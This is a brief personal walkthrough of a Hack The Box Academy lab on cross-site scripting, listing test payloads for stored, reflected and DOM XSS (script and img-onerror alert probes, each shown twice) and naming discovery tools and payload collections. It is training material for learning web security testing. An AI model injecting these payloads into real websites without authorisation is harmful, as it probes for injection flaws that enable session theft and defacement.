Hack The Box Module 07 — XSS

Overview

This writeup covers my walkthrough of the Hack The Box Academy — Module 07: Cross-Site Scripting (XSS) lab.

Section 02, 03 — Stored & Reflected XSS

XSS testing payload:

<script>alert(window.origin)</script>

<script>alert(window.origin)</script>

Section 04 — DOM XSS

DOM XSS testing payload:

<img src="" onerror=alert(window.origin)>

<img src="" onerror=alert(window.origin)>

Section 07 — XSS Discovery

Automated Discovery Tools:

• Nessus, Burp Pro, or ZAP
• XSStrike, BruteXSS, and XSSer

Online XSS Payload Resources:

• PayloadsAllTheThings
• Payload-Box